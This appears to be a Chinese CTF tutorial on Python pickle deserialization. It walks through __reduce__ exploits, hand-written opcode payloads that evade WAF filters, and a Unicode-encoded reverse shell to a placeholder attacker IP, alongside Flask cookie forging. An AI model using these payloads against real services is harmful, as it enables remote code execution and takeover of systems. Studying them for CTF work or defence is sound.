文章总结: 本文解析PythonPickle反序列化原理及opcode机制,通过CTF案例演示利用__reduce__与手写opcode绕过WAF过滤的技巧,重点讲解了利用V操作码Unicode编码及逻辑漏洞实现RCE的方法。建议开发者避免反序列化不可信数据,研究人员需掌握opcode构造与工具使用。 综合评分: 91 文章分类: CTF,WEB安全,漏洞分析,代码审计,漏洞POC
Pickle反序列化
OnePanda-Sec
2025年12月27日 09:00 湖北
#
#
招新
OnePanda-Sec
-招新说明-
**招新要求
· 热爱网络安全,喜欢CTF
· 拥有CTF比赛经验,有较好比赛成绩的
· 乐于奉献、热爱分享,愿意提升 自己同时帮助他人
· 时间允许参加各类赛事,服从战队管理与安排
· 各类比赛获奖者、能力出众者视情况考量
· 未参与其他高校联队
· 大一同学视情况放宽资历要求**
联系方式
发送简历于邮箱
· 简历邮箱:[email protected]
聘
pickle简介
•与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
•python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
•与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
•pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
•其中这里有的代码通常涉及pickle协议中一些底层、特殊或非常规的操作,它们超出了简单地“保存和恢复对象状态”的范畴
–直接操作栈和变量的底层指令
pickle 的 opcode 包含了一系列用于操作虚拟机栈(Stack)和内存变量的指令,这些指令在常规序列化中会被高层逻辑自动处理,用户无法直接触发:
•栈操作指令:如PUSH、POP、DUP、SWAP 等,用于手动控制栈的内容。
•变量操作指令:如STORE(存储变量)、LOAD(加载变量)、DELETE(删除变量)等,可直接修改全局 / 局部变量,而常规序列化只会保存对象属性,不会主动修改变量。
–执行任意代码的指令
pickle 包含REDUCE、GLOBAL、INST 等指令,配合特殊操作可执行任意 Python 代码,但常规序列化仅会调用对象的 __reduce__ 等方法,不会主动构造恶意或非常规的代码执行逻辑:
•例如,通过GLOBAL 指令加载os.system,再通过CALL 指令执行系统命令,这种操作无法通过序列化普通对象实现。
–非常规对象或特殊结构的构造
对于一些没有明确“状态” 的对象,或需要动态构造的特殊结构,常规序列化无法生成对应的 opcode:
•函数 / 类的动态修改:直接修改函数的__code__ 属性,或动态创建类的属性,这类操作需要手动编写 opcode 实现。
•循环引用的特殊处理:虽然 pickle 支持循环引用,但手动编写 opcode 可更灵活地控制引用的创建顺序,这是常规序列化无法做到的。
–pickle 协议的扩展或未公开指令
pickle 的不同协议版本包含一些未被高层 API 使用的指令,这些指令只能通过手动编写 opcode 调用:
•例如,Python 3.x 中新增的 FRAME、MEMOIZE 等指令,用于优化序列化效率,但常规序列化不会主动使用这些底层指令。
object.reduce() 函数
•在开发时,可以通过重写类的object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__() 返回一个(callable, ([para1,para2…])[,…]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。
•在下文pickle的opcode中, R 的作用与object.__reduce__() 关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实R 正好对应object.__reduce__() 函数,object.__reduce__() 的返回值会作为R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的。
什么是opcode
python的opcode是一组原始指令,用于在python解释器中执行字节码。每个opcode都是一个标识符,代表一种特定的操作或指令。 在python中,源代码首先被破译为字节码,然后由解释器逐条执行字节码执行字节码指令。这些指令以opcode的形式存储在字节码对象中,并由python解释器按顺序解释和执行。 每个opcode都有其特定的功能,用于执行不同的操作,例如变量加载、函数调用、数值运算、控制流程等。python提供了大量的opcode,以支持各种操作和语言特性。
INST i、OBJO、REDUCER都可以调用一个callable对象
pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。
import picklea={'1': 1, '2': 2}print(f'# 原变量:{a!r}')for i in range(6):print(f'pickle 版本{i}',pickle.dumps(a,protocol=i))
pickle3 版本的 opcode 示例:# 'abcd'b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'# \x80:协议头声明 \x03:协议版本# \x04\x00\x00\x00:数据长度:4# abcd:数据# q:储存栈顶的字符串长度:一个字节(即\x00)# \x00:栈顶位置# .:数据截止
pickletools
使用pickletools可以方便的将opcode转化为便于肉眼读取的形式
import pickletoolsdata=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."pickletools.dis(data)
pickle exp的简单demo
这里举一道CTF例子
[第十五届极客大挑战]ez_pythonimport base64import picklefrom flask import Flask, requestapp = Flask(__name__)@app.route('/')def index():with open('app.py', 'r') as f:return f.read()@app.route('/calc', methods=['GET'])def getFlag():payload = request.args.get("payload")pickle.loads(base64.b64decode(payload).replace(b'os', b''))return "ganbadie!"@app.route('/readFile', methods=['GET'])def readFile():filename = request.args.get('filename').replace("flag", "????")with open(filename, 'r') as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0')
calc路由:使用 pickle.loads 尝试反序列化处理后的字节串。如果这个字节串不是合法的序列化对象,或者在反序列化过程中出现问题,可能会引发错误。
readFile路由:打开这个文件名对应的文件进行读取,并将文件内容返回给客户端。如果文件名不合法或者文件不存在,可能会引发错误。
#expimport osimport pickleimport base64class A():def __reduce__(self):#return (eval,("__import__('o'+'s').popen('ls / | tee a').read()",))return (eval,("__import__('o'+'s').popen('env | tee a').read()",))a = A()b = pickle.dumps(a)print(base64.b64encode(b))除了执行命令之外还可以进行变量覆盖import picklekey1 = b'321'key2 = b'123'class A(object):def __reduce__(self):return (exec,("key1=b'1'\nkey2=b'2'",))a = A()pickle_a = pickle.dumps(a)print(pickle_a)pickle.loads(pickle_a)print(key1, key2)
基于opcode绕过字节码过滤
对于一些题会对传入的数据进行过滤
例如
1.if b'R' in code or b'built' in code or b'setstate' in code or b'flag'in code2.a = base64.b64decode(session.get('ser_data')).replace(b"builtin",b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R'in a or b'i' in a or b'o' in a or b'b' in a:
这个时候考虑用用到opcode Python中的pickle更像一门编程语言,一种基于栈的虚拟机
如何手写opcode
•在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__ 来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。
•在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。
•根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。
这里列举了几个 opcode,更多的可以去https://github.com/python/cpython/blob/master/Lib/pickle.py#L111对于做题而言会 opache 改写就行了INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象RCE demo:R:b'''cos\nsystem\n(S'whoami'\ntR.'''c:获取全局对象指令。格式为 c[模块]\n[对象]\n,这里是加载 os 模块的 system函数。(:压入 MARK 标记。S'whoami':压入字符串 'whoami' 作为参数。t:构建元组(将 MARK 到当前位置的元素打包成元组)。R:调用指令(REDUCE),执行栈顶的可调用对象(os.system)并传入元组参数。.:结束,返回结果。ib'''(S'whoami'\nios\nsystem\n.'''(:压入 MARK 标记。S'whoami':压入参数 'whoami'。i:实例化指令(INST),需要栈顶是类 / 函数,其下是参数。os\nsystem:加载 os.system 函数(作为可调用对象)。.:结束,执行函数调用。ob'''(cos\nsystem\nS'whoami'\no.'''o:调用指令(OBJECT),找到 MARK 标记,将 MARK 后的第一个元素作为可调用对象,后续作为参数执行调用。无 R,i,o os 可过b'''(cos\nsystem\nS'calc'\nos.''' 无 R,i,o os 可过 + 关键词过滤b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''V 操作码是可以识别\u (unicode 编码绕过)特别是命令有特殊功能字符这里有一个坑 \n 是换行如果用赛博厨子 会将 \n 当作字符处理,易出错,所以要用 python 处理import base64opcode=b''''''print(base64.b64encode(opcode))
例题
import base64import picklefrom flask import Flask, sessionimport osimport randomapp = Flask(__name__)app.config['SECRET_KEY'] = os.urandom(2).hex()@app.route('/')def hello_world():if not session.get('user'):session['user'] = ''.join(random.choices("admin", k=5))return 'Hello {}!'.format(session['user'])@app.route('/admin')def admin():if session.get('user') != "admin":return f"<script>alert('Access Denied');window.location.href='/'</script>"else:try:a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")if b'R' in a or b'i' in a or b'o' in a or b'b' in a:raise pickle.UnpicklingError("R i o b is forbidden")pickle.loads(base64.b64decode(session.get('ser_data')))return "ok"except:return "error!"if __name__ == '__main__':app.run(host='0.0.0.0', port=8888)审计就不说,前面也就是去爆破一下 key,通过 flask-unsign 去伪造一下 admin 的cookie重点看 pickle 反序列化部分try:a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")if b'R' in a or b'i' in a or b'o' in a or b'b' in a:raise pickle.UnpicklingError("R i o b is forbidden")pickle.loads(base64.b64decode(session.get('ser_data')))return "ok"except:return "error!" 首先将 opcode 进行关键字替换,然后 base64 解码赋值给 a;接着进行 if 判断Riob 是否存在 a 中,然后进行 pickle 反序列化这里虽然禁用操作符使得难以绕过,但是 waf 存在逻辑漏洞,也就是说 pickle 的对象是 ser_data,而不是 a,所以我们 opcode 中有 os 虽然会被替换为 Os,但是我们还是能执行 opcode然后这里用到的是前面的无 R,i,o os 可过 + 关键词过滤import pickletoolsdata=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''pickletools.dis(data)
然后我们打算进行反弹shell,反弹shell中需要用到i参数,而i参数会被检测,但是V操作码是可以识别\u的所以我们可以把我们的代码进行Unicode编码然后放入payload中
\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002f\u0078\u0078\u0078\u0078\u0020\u0030\u003e\u0026\u0031\u0027import pickletoolsdata=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002f\u0078\u0078\u0078\u0078\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''pickletools.dis(data)
可以看到虽然用了Unicode编码,但还是被解析了。
当然这里要改成自己服务器的ip和端口
构造完opcode之后那就可以去伪造cookie了,伪造部分就不说了,之后再/admin改包就可以反弹shell了。
pker工具
补充一个工具
https://github.com/eddieivan01/pker
GLOBAL 对应opcode:b’c’ 获取module下的一个全局对象(没有import的也可以,比如下面的os): GLOBAL(‘os’, ‘system’) 输入:module,instance(callable、module都是instance)
INST 对应opcode:b’i’ 建立并入栈一个对象(可以执行一个函数): INST(‘os’, ‘system’, ‘ls’) 输入:module,callable,para
OBJ 对应opcode:b’o’ 建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)): OBJ(GLOBAL(‘os’, ‘system’), ‘ls’) 输入:callable,para
xxx(xx,…) 对应opcode:b’R’ 使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)
li[0]=321 或 globals_dic[‘local_var’]=‘hello’ 对应opcode:b’s’ 更新列表或字典的某项的值
xx.attr=123 对应opcode:b’b’ 对xx对象进行属性设置
return 对应opcode:b’0’ 出栈(作为pickle.loads函数的返回值): return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)
OnePandaSec团队交流群,欢迎网络安全爱好者加入
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:OnePanda-Sec 《Pickle反序列化》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论